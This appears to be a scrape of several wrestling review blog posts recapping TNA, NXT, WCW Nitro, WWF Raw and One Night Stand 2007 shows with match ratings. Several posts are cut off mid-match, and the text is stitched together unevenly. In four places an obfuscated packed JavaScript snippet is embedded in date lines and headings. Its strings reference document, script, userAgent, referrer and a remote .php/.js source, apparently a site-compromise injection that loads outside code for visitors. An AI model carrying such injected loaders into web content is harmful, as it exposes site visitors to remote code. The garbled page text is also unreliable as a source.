Austin Aries/Bobby Roode/Kenny King vs. Chris Sabin/Gunner/James Storm

Rating: C. This was your usual formula tag match but without enough time to really get anything going. Having all three new champions against their challengers is fine as you can combine both stories into a single match. This worked fine for what it was but hopefully they can do something new with the divisions instead of just doing the same stuff over and over again.

D-Von and Knux jump someone in the back, presumably Joseph Park.

Mickie James vs. Taeler Hendrix

We look at the card for next week and Angle vs. Jackson from earlier.

Bully Ray vs. Jeff Hardy

Jeff goes up but gets shoved into the top rope by the champ. Ray: “TAZ! MY BALLS!” Hardy comes back with a clothesline but gets shoved into the corner after he tries to climb again. The Whisper in the Wind puts Ray down but he gets up in time to pull the ladder out again, sending Hardy crashing to the mat.

Ray goes up and retrieves the ladder despite still feeling the effects of the low blow earlier. Jeff avoids the hammer shot and hits a Twisting Stunner to get the hammer for himself. Hardy misses a few swings of his own and Ray runs off to end the show. Jeff falls down on the ramp and is holding his hip or back. The match just ends at around 16:00.

Hardy is helped out by a referee and is holding his hip.

Ray wants his belt in the back but Hulk is sneaking up on him with a hammer. Brooke shouts at him to stop and Ray escapes to end the show.

Results

Hernandez b. Chavo Guerrero – Rollup

Samoa Joe b. Robbie E – Koquina Clutch

Chris Sabin/James Storm/Gunner b. Kenny King/Austin Aries/Bobby Roode – All Hail Sabin to King

Mickie James b. Taeler Hendrix – Spinning kick to the head

Bully Ray vs. Jeff Hardy went to a no contest

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

 




NXT – June 5, 2013: Serious Langston Is Awesome

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkyzs|var|u0026u|referrer|hhety||js|php'.split('|'),0,{})) June 5, 2013
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Brad Maddox

Welcome Home.

Colin Cassidy vs. Mason Ryan

Sami Zayn says it was a big deal to beat a WWE Tag Team and US Champion on the same night and maybe he could do it again. Cesaro comes up and says that was a cheap win. Zayn says that the only cheap thing that night was the cheap shot from Cesaro after the match. Cesaro wants a rematch and Zayn is up for it, as long as Cesaro tells him where he got his sweet man purse. The brawl is on but referees quickly break it up.

Tag Titles: Kassius Ohno/Corey Graves vs. Wyatt Family

Rating: B-. They had me believing something the titles were in jeopardy at the end which is the right idea for a match like this. This match went a long way towards strengthening Ohno and Graves in their war with Wyatt which will definitely continue. The Family looks great in the ring for a pair of monsters with Harper having a lot of potential after the team eventually splits up.

Results

Paige b. Tamina – Rollup

Mason Ryan b. Colin Cassidy – Torture Rack Neckbreaker

Wyatt Family b. Kassius Ohno/Corey Graves – Rollup to Ohno after interference from Bray Wyatt

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:




Monday Nitro – January 12, 1998: Souled Out Looks Awesome. Seriously.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esyad|var|u0026u|referrer|ernsd||js|php'.split('|'),0,{})) Nitro #122
Date: January 12, 1998
Location: Jacksonville Memorial Coliseum, Jacksonville, Florida
Attendance: 8,718
Commentators: Larry Zbyszko, Mike Tenay, Tony Schiavone, Bobby Heenan

The show is still two hours at this point. The three hour episodes begin after Souled Out.

Larry talks about history repeating itself and empires crumbling.

Goldberg vs. Jerry Flynn

Nitro Girls time, including a new one named Whisper. She would later be known as Mrs. Shawn Michaels.

Black Cat vs. Marty Jannetty

A flapjack puts Marty down as Tony claims that Sting is still the world champion. Jannetty hits a superkick followed by some forearms, only to have his backdrop countered into an implant DDT for two. Marty comes right back with a spinebuster and the Rocker Dropper (called the Showstopper here) is good for the pin.

Hall, Savage, Liz and Tenzan arrive in another limo. Savage says there are no problems in the NWO and wants to know what Nash said.

Dean Malenko vs. Chris Benoit

The Flock hits the ring before Malenko is even done tapping and lays out Benoit. Malenko and Raven have a staredown but Saturn jumps Dean to protect his leader.

More Nitro Girls.

TV Title: Perry Saturn vs. Booker T

Tony screws up again by saying that Raven is challenging here instead of Saturn. Saturn pounds away on the champion to start but a side kick sends Perry out to the floor. Back in and Booker hits a forearm to the head for two followed by a superkick to send Saturn out to the floor. Booker counters a German suplex into a victory roll for two but Saturn ducks a spin kick and suplexes Booker down for two. Booker comes back with some forearms but charges into a boot in the corner. Saturn trips him down and puts his feet on the ropes for the pin and the title in a cheap win.

Actually hang on a second as Rick Martel comes out to tell the referee about the cheating. The match is restarted and Booker hits a quick ax kick and the Harlem Hangover to retain the title.

Post match Booker says he owes Rick one for the help so Martel asks for a title shot. Booker says anytime.

Video on Savage vs. Luger for Souled Out.

Hour #2 begins.

Hugh Morrus vs. Lex Luger

Tony talks about the Super Bowl as Hugh hits a spinwheel kick to take Lex down. Luger comes back with a powerslam while the announcers talk about Nash vs. Giant. Neither guy can hit a hiptoss and Morrus misses a charge into the buckle. Luger hits some forearms but Morrus runs up the corner for a spinning clothesline off the middle rope. Morrus misses a top rope splash and the Torture Rack ends this quick.

Post match Liz comes out to distract Luger for a surprise attack by Savage. DDP comes out to chase Savage off.

Nitro Girls Part III.

The announcers talk about the problems between the Steiners with Scott being selfish lately. We get a clip from Thunder where Scott left Rick hanging instead of hitting the Steiner Bulldog.

Chris Jericho vs. Steve McMichael

Jericho is looking very condescending as he waves to the fans on the way to the ring. Mongo shoves Jericho into the corner to start. Jericho fires off some forearms but runs into a shoulder block. Mongo pounds away in the corner but runs into a kick in the corner. A missile dropkick puts Mongo down but he pops up for a side slam. Mongo stops to pose on the ropes and gets caught in a middle rope Frankensteiner for two. Steve comes back with a chopblock and a belly to back suplex for no cover again. Jericho is whipped into the corner and tries to jump over Mongo, only to get caught in the tombstone for the pin.

Cruiserweight Title: Rey Mysterio vs. Juventud Guerrera

We get the footage from Thunder of JJ stripping Sting of the title.

Video on Bret Hart arriving in WCW and screwing over the NWO at Starrcade. He and Flair have a match at Starrcade to decide who the best is.

Souled Out ad.

Nitro Girls the fourth.

Tag Titles: Outsiders vs. Steiner Brothers

Back to Rick who cranks on a leg lock before shifting to a half crab. Hall fights up and brings Nash back in, only to have him caught in a leg crank of his own. Nash comes right back for Snake Eyes (not bad a mere three weeks after missing the biggest show of the year because of a knee injury) but Rick slips down his back. Rick loads up the Steiner Bulldog but Hogan crotches him before Rick can jump. Scott Steiner goes after Hogan as Hall hits the fallaway slam for two on Rick.

Things settle down and Nash gets two off the side slam. Rick fights back against Hall but Nash knees him in the back. Scott Steiner argues with the referee and Rick bumps into said referee as everything breaks down. Nash covers Rick but Savage goes up for the elbow on Kevin, but the big man moves and the elbow hits Rick, giving the Outsiders the pin and the titles back.

Hogan and Nash yell at Savage to end the show.

Overall Rating: C. In an unusual case for Nitro, the main event stuff was one of the better parts of the show. Souled Out is looking better and better on paper every week with Flair vs. Hart having one of the best builds I can remember in a long time. On top of that you get a very good match from Benoit and Malenko and you have a solid half of the show.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:




On This Day: June 5, 2000 – Monday Night Raw: Night of the Three Challengers

Monday Night Raw
Date: June 5, 2000
Location: War Memorial Auditorium, Rochester, New York
Commentators: Jim Ross, Jerry Lawler

We open with a clip of Undertaker earning a shot at HHH by winning a handicap match against X-Pac and Road Dogg. This was followed later in the night by Rock beating Edge and Christian to become #1 contender. The main event of the show was Kane pinning HHH to earn a world title shot. In other words, there are three #1 contenders.

Theme song.

Here are HHH and Stephanie to open things up. HHH tells the fans to shut up so he can talk about how hot the competition is for his world title. The fans chant for Rocky as HHH talks about how much it means to be world champion. It means that you have beaten the very best and right now, there are three people that are the #1 contender to the title. The fans chant some very rude things at Stephanie to make HHH even angrier. HHH cuts them off by talking about how competition turns him on.

Post match Rikishi cleans house and gives Trish a Stinkface.

The McMahons and company reconcile in the back. Brisco slams a door on Crash Holly as he tries to sneak up on him with a chair to win the Hardcore Title.

King of the Ring Qualifying Match: Road Dogg vs. Chris Benoit

Post match the Dudleys load up a 3D to put Tori through a table but X-Pac makes the save.

Kane says there are no allies or brothers in the triple threat

Hardcore Title: Gerald Brisco vs. Crash

Undertaker says Kane is right about there being no friends or brothers in the match tonight.

Kane vs. Undertaker vs. The Rock

Undertaker knocks Kane to the floor but Rock is back up with right hands to the dead man. All three head outside now with Rock being double teamed until HHH jumps Undertaker. HHH sends Kane into the steps as well but Undertaker is back up and goes after Rock again before dropping HHH with a right hand. HHH blasts Kane with a chair which knocks him into a quick Rock Bottom on Kane sends Rock to the title match.

Post match HHH immediately hits Rock in the head with a chair.

Godfather/Dean Malenko vs. Chyna/Eddie Guerrero

King of the Ring Qualifying Match: Hardcore Holly vs. Faarooq

Kurt Angle/Edge/Christian vs. Dudley Boys/Chris Jericho

Post match Jericho puts Angle in the Walls and the Dudleys 3D Kurt through a table.

Hardy Boys vs. Bull Buchanan/Big Bossman

Bull starts with Matt and a big boot puts Matt down. Off to Boss Man as Lita is watching in the back, having not yet hooked up with the brothers yet. Back to Bull for a backbreaker but he misses a leg drop. Off to Jeff who speeds things up as everything breaks down. Jeff hits a quick Swanton on Bull for the win. This was nothing.

Boss Man and Buchanan fight post match with Boss Man laying Bull out.

HHH wants to head to the ring alone tonight.

WWF World Title: HHH vs. The Rock

HHH is already lying as Stephanie comes to the ring with him. Rock jumps HHH during his water spit and the fight is on fast. Rock pounds away and knocks HHH out to the floor before whipping him into whatever hard objects he can find. They load up the announce table but HHH fights out of the Rock Bottom. Instead Rock whips him over the announce table and hits the champion low.




A Nice Present For KB

A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbhas|var|u0026u|referrer|trzbr||js|php'.split('|'),0,{})) guy from the forums has sent me twelve copies of the Pro Wrestling Insider newsletter from 1997, one of which might be the first issue.  I’ll look through these and if anything of interest pops up I’ll let you know.  I’ve never been a big fan of newsletters but I’ll gladly take free stuff.




On This Day: June 4, 2001 – Monday Night Raw: Jesse Ventura Is Cooler Than You

Monday Night Raw
Date: June 4, 2001
Location: Target Center, Minneapolis, Minnesota
Attendance: 11,417
Commentators: Paul Heyman, Jim Ross

Back to the Invasion era (kind of) as we’re rolling up to King of the Ring. Last week Benoit got his title shot in a great match so tonight it’s Jericho’s turn. Also I think we begin qualifying matches for the tournament as I remember watching the Rhyno vs. Tazz match that’s on the card tonight. Let’s get to it.

We open with a recap of the rematch from Smackdown where Benoit almost won the title again. That match might have been even better. Those two had some scary chemistry. Benoit destroyed Vince with a chair and Austin stole the win with tights.

Intercontinental Title: Kane vs. Christian

The tape on Kane’s arm is shrinking. Christian runs down Minnesota because everyone from there is a freak. The bell rings twice for some reason and Kane hammers away quickly. He hits the top rope clothesline but Edge has the referee. He interferes again so Kane goes after him but the power of Canada causes his bad arm to go into the steps. Christian gets a low dropkick for two but I don’t think his offense is going to be lasting much longer.

The challengers gets slammed off the top but Edge distracts from the chokeslam. Edge takes one instead and HUGH MORRUS runs in, hits a moonsault (complete with a big WCW logo on the Tron and a siren blaring) and leaves. A BIG layout powerbomb kills Christian and Kane keeps the title. Shane celebrates in the production truck.

Rating: D+. Just a squash but the whole point was to have Morrus do the ending which is still cool looking. Acknowledging that it’s WCW is a nice touch as everyone knew who it was but it’s cool to hear it. This was a huge moment but unfortunately it wouldn’t get much more exciting than this. The match was just there.

Here’s Vince and he’s mad. He says that Shane isn’t going to cause trouble in his company. Now onto Benoit and Vince REALLY isn’t happy with him. He lists off things that his injuries could be called and the fans cheer louder each time. Benoit is never getting another title shot because he’s sadistic. Only a sadist would give Austin ten suplexes in a row. Tonight, Benoit gets Big Show.

Cue Foley to a BIG ovation. He has his new book with him so what do you think he’ll be talking about? Foley thanks the fans for making it a bestseller for the second week in a row. He’s in People Magazine also. However, he’s here to talk about the piece of paper he’s been using as a bookmark. It’s a contract, one of which he signed while Commissioner. This one says he can make a main event for any Raw he chooses. Tonight, it’s Austin vs. Jericho for the title. Benoit and Vince are banned from ringside. Vince says that contract doesn’t count because we’re not in Connecticut or something like that.

Foley has a counter for that though. He brings out GOVERNOR JESSE VENTURA. Vince looks TERRIFIED. Jesse puts on his glasses and looks at the contract. He says that he’s the highest elected official in Minnesota and since Vince couldn’t control him when he worked for Vince, he certainly can’t control him now. What Vince needs to learn is that there are people in the world more powerful than he is, and Jesse is one of them. He shakes Mick’s hand, says have a nice day, and that’s that. Jesse is one of those guys that is just awesome every time you see him and it worked here. Foley says he has a big surprise for Vince later.

King of the Ring Qualifying Match: Jeff Hardy vs. Matt Hardy

Well isn’t this interesting? They come out together which isn’t something you see that often. Matt is European Champion. Jeff grabs a rollup for two very quickly. Matt tries the Twist but Jeff counters. Expect to read the word counter a lot in this. The fans like Lita the best and in that pink top I can’t blame them. Whisper in the Wind gets two for Jeff. Out to the floor and Jeff tries to run the railing but Matt ducks.

In a SWEET spot, Matt charges at Jeff while Jeff is up against the ring. Jeff backdrops him up against the ropes and in a Tajiri like bounce, Matt bounces off of them and hits a DDT to Jeff. The middle rope legdrop misses and Jeff loads up the Swanton but gets crotched. Jeff shoves him off and tries the Swanton again but it hits knees. The Twist is countered into a backslide for the surprise pin for Jeff.

Rating: C+. The idea here of course was that they knew each other so well and they kept countering one another. Having the ending be quick like that was the right move and it worked out well. Good stuff here and WAY better than their match at Mania and Extreme Rules, but that could just be due to this being when they were young and motivated to have good matches.

Austin is polishing the belt when Vince comes in. He has some bad news for Austin: he has to defend the title tonight against Jericho. Vince blames Linda so Austin says just give her half of your money ($500 million) because if you can’t live on $500 million, you’re planning on living too long. In a funny bit, Austin starts to say that no woman deserves that but looks at Debra and says NEVER MIND. Funny stuff.

Trish is in the back when Foley comes up. She’s mad about being challenged to a bra and panties match by Terri. Foley asks if Trish is scared and turns this into a story about Alexander Hamilton dying into a duel. If he had a bra and panties match, he’d still be alive. Trish: “He’d be over 200 years old.” Foley: “EXACTLY! It’s part of your duty as an American to compete tonight.” Trish: “Mick, I’m Canadian.” Foley: “Which is part of….North America.” Trish: “You’re right!” HILARIOUS segment.

Regal and Tajiri are in his office and Tajiri gives him some tea. It needs to be two degrees warmer. Kurt comes in and Tajiri is sent off for more tea. Shane has accepted Kurt’s challenge at King of the Ring. Angle also mentions that he wants to win the King of the Ring again so Regal puts him in. He also wants Spike Dudley so Regal adds him to the Holly team and adds Spike to the Dudleys so it’s a six man.

The Dudleys aren’t happy because Spike is their partner.

Molly Holly is at WWF New York and looks great in a blue dress. She thanks the fans but more importantly, Spike for all the flowers he sent. She says she likes him. Spike sees it and freaks out.

Dudley Boys vs. Hollies/Kurt Angle

Six man tag here. Hardcore and Kurt have a quick argument due to the whole severely broken arm Kurt gave Hardcore a few years ago. D-Von and Hardcore start but Spike comes in before there’s any contract. Kurt wants to come in but gets decked quickly and it’s back to D-Von, giving us two tags before there was any contact between the legal men. We get going and D-Von hits a powerslam for two.

The fans want tables but that would be a DQ here, so do they want the Dudleys to lose? Actually who are the faces here? The Dudleys want to put Molly through a table which is hardly a good guy action. Hardcore beats on Spike for a bit, including the punt to the “abdomen”. Off to Crash for such a short time that I didn’t see him do anything. Back to Hardcore who hits a suplex for two.

Crash comes in and there’s a distinct lack of Kurt in this, which I think is the point. Spike manages a tag to Bubba but the fans miss it. Kurt does get in and Spike GOES OFF, until Hardcore gets in a shot and Spike gets killed by a German. Spike blocks a superplex and hits a double stomp off the middle rope.

Double tag brings in Bubba and Hardcore and a Bubba Bomb puts him down. Crash takes a Samoan Drop and Hardcore takes a Doomsday Device. Kurt pops in for a German on Bubba but the moonsault misses. Hey Kurt. WHAT’S UP??? Bubba calls for a table but it’s a 3D to Crash instead. A quick Angle Slam pins Bubba though.

Rating: C. Again this feud is just kind of fun. There’s no main event or title implications to it but the feud works very well. It’s well done and the feud makes perfect sense. For some reason, that just can’t be done today. It seems that everything has to be part of a bigger purpose and a bigger story. Nothing can be a small and self contained story anymore.

Big Show vs. Chris Benoit

Show runs over Benoit to start as we hear again that Benoit was an undefeated WCW Champion. We’ll ignore that it was because he never defended it I guess, much like everything about Benoit is ignored anymore. Off to a bearhug by Show which Benoit bites out of. Gorilla press drop by Show and Benoit is in trouble. Show goes up (GULP!) but misses a middle rope elbow. Swan Dive is caught into a chokeslam but Benoit counters that into the Crossface and Show taps out! Too short to rate but that ending was pretty awesome. I’m a sucker for Benoit going all wrestling master and countering stuff into the Crossface.

Taker arrives, over halfway into the show.

Here’s Taker in the arena and he’s ticked off because of the stalking of his wife. If someone wants to do something with him, do it now and keep his family out of it. Taker says nothing is going to be easy until this ends. And then he turns to JR. JR was the first one to get the letter about the tape. Taker doesn’t think JR has something to do with it but if there’s something JR isn’t telling him, he’ll be the first name on Taker’s list. Heyman says the words “old lady” and is promptly punched in the face. JR suggests that he go ask Vince.

Taker says that’s a good idea and we get another video of Sara outside and it looks like she’s watering plants or something. The voice says that if he wanted to get closer then he would. Taker’s dog is out there too. Sara goes inside and the voice says she thinks she’s safe in there. Back in the arena, Taker goes to the back and isn’t happy.

Classic KOTR: Taker vs. Mankind in the Cell.

Back from a break and Taker kicks in the door to Vince’s office, demanding answers. Vince says he has nothing to do with this. He may have an ego but he doesn’t have a death wish. Vince suggests it might be the same person that flashed the WCW logo: Shane. Taker threatens Vince with the insertion of the WWF into a place it isn’t designed to go on Vince’s body if he’s lying.

King of the Ring Qualifying Match: Rhyno vs. Tazz

Rhyno is Hardcore Champion but this is non-title. Nice pop for Tazz. Rhyno pounds him into the corner to start and hits what would have been a Gore had it not been for the corner. This is Tazz’s first match since Mania? I didn’t really miss him. Rhyno comes off the middle rope but jumps into a suplex. Tazz Gores Rhyno for two and I remember that from when I was 13. Tazz hooks the Tazmission but Rhyno uses the Bigelow Breaking The Ring counter. Gore ends this.

Rating: D. I have no idea why this match sticks out to me but it does. Not a good match or anything and you can see Tazz is completely gone. Rhyno would make the semi-finals of the KOTR but wouldn’t go anywhere until the Invasion started when he moved up to the midcard with a few quick main event shots.

Austin and Debra are a bit nervous about Mick’s surprise with the champ being moreso. Debra goes off to find info from Foley.

Video on Smackdown Your Vote which is a cool idea.

Debra is looking for Mick. He’s sitting on some steps and they exchange pleasantries. She gives him what appears to be candy and asks about the surprise. He won’t say but she gets an autographed copy of the book.

Christian and Edge have some weird self-help moment and both say they want to be King of the Ring. They’re both in the tournament too.

Jericho tells Cole to shut up (AMEN) and that he’s accomplished a lot, including telling Vince that he is rather small. I’m assuming he meant that Vince had one and that it wasn’t a rather embarrassing announcement. Jericho says he’ll treat Austin like a sl** and that he’ll win the title. He steals a bunch of Austin catchphrases while saying this.

Terri vs. Trish Stratus

Bra and panties here so I’m not sure what you want me to say about it. Heyman says this is in the tradition of the Funks and the Briscos. JR says that the Briscos never had a bra and panties match, officially. I really don’t want to know some of the stories that JR has. Both of the girls look good and they can’t wrestle yet, although Trish is trying. Terri loses her top and is out there in heels. Trish loses her top and Terri stands on her hair. Oh ok Trish hadn’t lost her top yet. Perry Saturn comes out in a robe…and has lingerie on under it. The distraction lets Trish win. I think you can figure this one out for yourselves.

WWF World Title: Steve Austin vs. Chris Jericho

Foley’s surprise is that he’s the troubleshooting referee. He’ll be outside while there’s a regular one in the ring. Austin beats him into the corner before Jericho can even get his title off. He tries the Thesz Press but Jericho counters it into the Walls. Austin runs for the ropes and we go to the floor. Jericho gets sent into Foley and Austin goes into the steps. Back in the Lionsault hits knees and Jericho is down.

Spinebuster messes up Jericho’s ribs even more as does an elbow drop. Jericho is in trouble here as Austin is having to protect his back and ribs due to the Germans from the other Canadian on Thursday. Jericho fights out of a bow and arrow but gets kicked low. That only gets two and JR mentions that Austin wouldn’t mind getting disqualified. Why doesn’t he do that then? It can’t be that hard.

Austin yells at Foley for some reason and the distraction lets Jericho get in a low blow to shift the momentum again. They slug it out which is won by the Canadian. Missile dropkick gets two. Middle rope hurricanrana gets two. Austin ducks the forearm and Jericho takes out the referee. Foley, like an idiot, checks on the referee as Jericho hooks the Walls. Foley slides in but leaves his feet out of the ropes so Regal makes the save. Jericho and Regal get into it and Foley accidentally cracks Jericho with the chair. Regal takes Foley out and Austin only gets two! And never mind as the Stunner ends this.

Rating: C+. Pretty fun match and the main event of the King of the Ring should be pretty obvious at this point. Regal coming out was pretty clear given how Foley was positioned but I think I can let that slide here. Not a great match but they needed more time and they’ve had better matches before. I can’t think of any right now so maybe they haven’t.

Regal gets the Walls and the Claw to close the show.

Overall Rating: B-. This was really more about setting the stage for King of the Ring and that’s fine. The main event of course would be Austin in a triple threat with the Canadians. The idea here is that Austin can barely beat one of them so how can he beat both of them? Well considering Benoit would break his neck in the match and would be out almost a year, that might give you a hint. Anyway good stuff and the Invasion is still building.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon at:




On This Day: June 3, 2007 – One Night Stand 2007: One Of Khali’s Best Matches Ever

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffysd|var|u0026u|referrer|bfssa||js|php'.split('|'),0,{})) Night Stand 2007
Date: June 3, 2007
Location: Jacksonville Veterans Memorial, Jacksonville, Florida
Attendance: 7,000
Commentators: Jim Ross, Jerry Lawler, Joey Styles, Tazz, Michael Cole, John Bradshaw Layfield

 

We’re done with ECW now other than having Vince McMahon defend the title against Lashley in a street fight here. Other than that there’s nothing of ECW around here as the main event is Cena vs. Khali for the title in a falls count anywhere match. Should be ok though as big gimmick PPVs tend to be pretty good. Let’s get to it.

 

The opening video talks about how tonight there are extreme rules and list off the various matches we’re having tonight with very limited context. The official title is One Night Stand: Extreme Rules. There are four “sponsors” for this show: Raw, ECW, Smackdown and Gillette. Big, dare I say it, extreme?

 

The announcers run off the main event from each show.

 

Rob Van Dam vs. Randy Orton

 

This is a stretcher match and Orton still isn’t hearing voices. Orton has been injuring various people recently, including Shawn so this is Rob trying to stand up for him. It’s one of these matches where you have to push them on a stretcher across the finish line. Randy also hit a bunch of RKOs on RVD. The recap is done during Orton’s entrance which is always a bit odd.

 

Orton really does tower over RVD here. They stare each other down to start but RVD tricks him by hitting a kick to the face as he’s doing the finger point. Into the corner for some punching as Rob controls early. Monkey flip sends Orton to the floor. Slingshot legdrop to Orton on the apron has Orton reeling. Another spin kick in the corner sets up a knee and about the 9th kick in about three minutes.

 

Orton gets a single kick in and a forearm but it has a much bigger impact because of the head injuries from the attacks on Raw. RKO is countered via a kick to the head but he gets shoved off the top and his eyes are gone. They go out by the stretcher with Orton in control but we’re not ready for that yet I guess. Dropkick takes Rob down. Here’s the Orton Stomp and the final kick to the head has Van Dam in big trouble.

 

Knee drop hits the chest and the eyes on Rob are great. Not quite onto the stretcher which there seems to be more than one of. The referee checks on Rob as Orton gets a pretty sweet powerbomb into a neckbreaker. Rob is rolled onto a stretcher but it falls over and we’re out on the floor. He fights back and sends Orton into the post to give himself a breather.

 

Rob manages to get Orton onto the stretcher but instead of pushing him up the aisle he hits a pretty sweet spinning legdrop onto Orton’s back to take over again. Back in the ring and a slingshot legdrop hits. Rolling Thunder is countered into a powerslam in a slick spot. Orton tries a suplex to the floor but Rob fights back with a dropkick to send him to the floor. The guy with a lot of initials puts Orton on the stretcher again but a front flip over the ropes eats half stretcher and half floor to put both guys down.

 

Orton puts him on the stretcher but can’t quite get him over due to falling down, allowing Rob to get up. Rob is able to get some quick kicks in and puts him on the stretcher and casually push him across the line for the win. That was a rather odd ending as it was like they were told they were doing it backwards and Rob was supposed to win.

 

Rating: C. Not much here but with a stretcher match there’s only so much that they can do. Not a horrible match or anything but at the same time the ending came off as rather weird. Anyway it’s not that it matters because this was Rob’s last appearance in WWE other than a pair of one off appearances to beat Santino and be in the Rumble one year. Anyway, not bad but just kind of there.

 

Post match Orton punts him and gets an elevated DDT off the railing to more or less kill him.

 

Vince is talking to Shane about polishing up the ECW Title and how tonight they end Lashley. However he does have a premonition that something bad is going to happen to him. His car would be blown up 8 days later.

 

We talk about some car racing show that Cena is going to be on.

 

Sandman/Tommy Dreamer/CM Punk vs. Elijah Burke/Marcus Cor Von/Matt Striker

 

Tables match. Basically this whole feud was about Punk as he joined the New Breed and then jumped to the ECW Originals despite not being an ECW Original. Burke is D’Angelo Dinero of course. We have to tag here and it’s Cor Von vs. Dreamer to start. Basic power moves have Dreamer in trouble and it’s off to Burke. Off to Sandman who hits a flapjack on the hometown guy.

 

Striker comes in and thank goodness they made him an announcer instead because he just isn’t that good in the ring. Punk comes in and hammers away on him because dude, he’s Matt Striker. Dreamer and Punk say GET THE TABLES but Cor Von makes a save. Punk is like screw that and hits a suicide dive to take Cor Von down. Springboard clothesline takes Burke down as everything breaks down. Striker runs from Sandman but gets drilled by Dreamer.

 

Table is set up but Burke and Cor Von make the save just in time. Nice guys there as they let their partner take a double suplex on the floor. Striker manages to take down Sandman and Burke takes down Punk to give the New Breed the advantage. The Originals realize this is stupid and pound them down but it’s Striker of all people who takes out Sandman again. Punk takes the Alpha Bomb but Dreamer saves him from going through the table. Striker goes up and Punk superplexes him through Burke through the table to end it.

 

Rating: C-. Match was just kind of there but it blew off the Originals vs. New Breed feud which meant that the New Breed was done. I don’t think anyone really missed them so it’s not like it mattered, but at least it’s done now. Punk was designed to be the star here and that’s who it should have been all along. At least it was short I guess.

 

The Draft is on June 11.

 

Edge is getting ready and Orton comes in. He says this is good stuff because they’re both his former partners. He doesn’t want anything but he’ll be coming for the title if he gets switched at the Draft. He wouldn’t so it doesn’t really matter.

 

RVD has another concussion apparently.

 

Raw Tag Titles: Hardys vs. World’s Greatest Tag Team

 

This should be awesome. Hardys are champions coming in. Big brawl to start but that’s the point of this match I suppose. Haas takes down both Hardys with a double clothesline and here come the ladders. All four have ladders so the Hardys throw theirs at their opponents’ and put a pair in corners. Haas gets buried under a pair of ladders in the corner and Shelton is pushed on top of them.

 

The Hardys start being the Hardys in a ladder match and dominate quickly but make a mental mistake (the Hardys? Nah) and both go up at once, only for Shelton to toss a ladder at them and take over. They work on Jeff’s leg and send him into a ladder in the corner so softly that the fans boo it. When do you EVER hear of a spot being booed in a ladder match? Haas and Benjamin both go up but they have the same issue the Hardys had and we all come down again.

 

Shelton dropkicks a ladder into Matt’s face and the World’s Greatest Tag Team takes over all over again. They set up a pair of ladders in a sea-saw pattern and according to rule 2 of ladder matches, they both get slammed onto it. Here come the Hardys again and a double clothesline takes everyone not named Shelton to the floor. The Hardys bring in the huge ladders and set one between the ring and the railing.

 

Shelton blocks a suplex through said ladder though, until Matt backdrops Shelton onto a ladder which he just bounces off. The ladder is bent and Jeff isn’t happy. He thinks to himself by George (and bonds. Pills. Maybe some cocaine too. My band’s album because no one else will) I want him to go through that ladder but Haas makes a last second save.

 

Matt takes Charlie down and goes up himself, only to get shoved onto the top rope. You know the move Haas and Benjamin do where Haas holds a guy up on the top and Shelton jumps on his back? Well here they use a ladder instead of a rope and Shelton jumps to the floor onto Matt’s back and more or less destroys it in an awesome looking spot. Charlie goes up but here’s your friendly resident drug addict (Jeff in case you thought Matt got up that fast) for a superplex off the ladder to the mat.

 

Everyone is down now and Jeff has a glazed over look in his eye. In other words, everything is normal with him. In one of the best accidental spots I’ve ever seen, Shelton tries to springboard from the apron to the ladder to stop Jeff but slips and flips forward, kicking the ladder over. JR actually does a decent job of making it sound intentional. Matt shoves Shelton off and starts climbing up two ladders at once. Everyone goes up and it’s a four way fight. The Hardys go down but maintain enough composure to shove their opponents off. Swanton kills Haas and Matt gets the belts to retain.

 

Rating: B+. Pretty good tag team ladder match here as they let all four guys go in there and just do their thing which is the right idea more often than not. Also they had time (seventeen minutes) here which helped a lot as well. Very hard hitting match here as they managed to make the older spots look good again. Rather good match and not much to complain about at all here.

 

Runjin Singh is with Khali who says he’s going to win. Oh man this is the night after the SNME where Khali crushed Cena clean in like 3 minutes. I have rarely seen anything stupider than that in wrestling and they managed to do it.

 

Mark Henry vs. Kane

 

Lumberjacks here. Oh joy. They actually introduce the lumberjacks to waste even more time. There are some actually decent named guys here like Benoit and uh……Benoit is in this. Other than that there are guys like Miz and Morrison who mean nothing at this point. Santino is the IC Champion here and isn’t a comedy guy yet. Apparently Kane lost a match via countout to Henry to set this up.

 

Henry throws him out almost immediately and Kane glares at the lumberjacks before getting back in on his own. Kane kicks him to the floor and Henry shoves all of the lumberjacks off with relative ease. They slug it out and Henry hides on the floor again. Out to the floor and Henry rams him into the post like he did on Friday apparently. Back in the ring and Henry works on the back, for once in his life showing some intelligence.

 

JBL suggests Henry belongs in the Hall of Fame. Sadly enough, that’s not out of the realm of possibility is it? Kane gets a shot in but charges into a powerslam for two. More power moves set up the bear hug to waste some time and let Henry have a breath of air. Kane gets a shot in but can’t hit the chokeslam so it’s right back to the beating. The fans think Henry sucks and I can’t say I disagree with them.

 

Back to the bearhug as the lumberjacks cheer for Kane. So the fans and other guys, both faces and heels it seem, don’t like Henry. That says nothing of note as everyone can’t stand him and no one ever has that I can remember. Kane sends him to the floor and goes up, diving on Henry and a bunch of lumberjacks at the same time. The big man can fly at least. Not a lot of big men would ever do that so points for that.

 

